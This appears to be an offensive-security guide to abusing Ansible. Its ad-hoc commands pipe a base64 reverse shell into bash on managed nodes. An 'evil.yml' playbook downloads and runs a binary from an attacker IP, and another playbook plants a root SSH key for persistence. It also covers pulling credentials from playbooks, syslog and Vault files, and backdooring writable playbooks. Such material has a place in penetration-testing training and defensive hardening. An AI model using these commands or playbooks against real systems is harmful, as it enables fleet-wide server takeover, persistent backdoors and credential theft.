Ansible is a powerful configuration management and automation tool widely used in DevOps to manage servers and deploy applications. However, its design and features can also make it a potential attack vector if improperly configured or abused.
Ansible operates on a "push" model, where the Ansible controller executes Modules on registered "nodes". Key components include:
Inventory: A list of managed nodes (targets), located on the controller server at /etc/ansible/hosts
Playbooks: YAML files that define tasks and automation processes.
Modules: Scripts used to perform specific actions (e.g., file operations, command execution).
In order to perform actions on managed nodes, a password for a node user must be stored on the controller, or the controller's Ansible account must be configured on it using SSH keys. This allows the controller to connect to the node and execute the desired modules.
Practice
Command Execution
The following methods are utilized from the Ansible Controller, requiring a user with the necessary privileges.
Ad-hoc commands are simple shell commands to be run on one or more managed nodes in the Ansible inventory. They are used for one-time tasks and are not included in a playbook.
# On Ansible Controller
## Simply run
ansible <GROUP_NAME> -m shell -a "echo <BASE64_REVERSE_SHELL>|base64 -d|/bin/bash"
## Run as sudo
ansible <GROUP_NAME> -m shell -a "echo <BASE64_REVERSE_SHELL>|base64 -d|/bin/bash" --become
Ansible Playbooks offer a repeatable, reusable way to run a sets of tasks on Ansible nodes. Playbooks are expressed in YAML format.
We can use Playbooks to execute a malicious script/binary on Ansible nodes.
The hosts field specifies the target hosts from the inventory on which the playbook will be executed. You can use:
Groups: Specify a group of hosts defined in the inventory file.
Individual Hosts: Target specific hosts by their names.
All: Use "all" to run the playbook on every host listed in the inventory
Simple Execution
evil.yml
- hosts: all
tasks:
become: yes # Delete this line if playbook should not be run as root
- name: evil
shell: "curl -o /tmp/evil.elf http://<ATTACKING_IP>/evil.elf && chmod +x /tmp/evil.elf && /tmp/evil.elf"
async: 10
poll: 0
Run the playbook:
ansible-playbook evil.yml
SSH Persistence
The following playbook acheive SSH persistence by adding a public key to the /root/.ssh/authorized_keys file
---
- name: Add SSH key for persistence
hosts: target_hosts
become: yes
tasks:
- name: Ensure the .ssh directory exists
file:
path: /root/.ssh
state: directory
mode: '0700'
owner: root
group: root
- name: Create authorized keys if it does not exist
file:
path: /root/.ssh/authorized_keys
state: touch
mode: '0600'
owner: root
group: root
- name: Add SSH public key for persistence
authorized_key:
user: root
state: present
key: "ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAr...your_key_here... user@hostname" # Replace with your actual SSH public key
- name: Ensure SSH service is enabled and running
service:
name: sshd
state: started
enabled: yes
Unsecured Credentials
if we are able to read Ansible playbooks, we may found sensitive data like secrets and hardcoded credentials.
We may find hardcoded credential in playbooks alongside the become directive, as it may allows Administratror to use SSH whithout keys.
Alternatively we may directly find hardcoded credentials in shell commands
- name: MySQL_SHOW_DB
hosts: target_servers
become: yes
tasks:
- name: get db
shell: |
echo "Connecting to the database..."
mysql -u admin -p'password123' -e "SHOW DATABASES;"
Ansible Vault is a feature that allows users to encrypt sensitive data within playbooks. However, we may be able to decrypt the file with password or by cracking hash to retrieve password.
First check the file encrypted with Ansible Vault.
When Ansible operates on a host, some modules will attempt to log their actions to /var/log/syslog. This log includes the module name and the arguments passed along to that command, which could include secrets or credentials.
Some playbooks may mitigate the risk of sensitive data being logged in syslog by using the no_log: true option in tasks.
We may therefore find sensitive data on ansible nodes by looking at the /var/log/syslog file.
cat /var/log/syslog
Weak Playbooks Permissions
If we discover a playbook on the Ansible controller with write permissions or can exploit vulnerabilities to gain such access, we can modify the playbook to insert malicious tasks. These tasks will then execute during the next run of the playbook, potentially allowing us to escalate privileges, exfiltrate data, or deploy additional backdoors.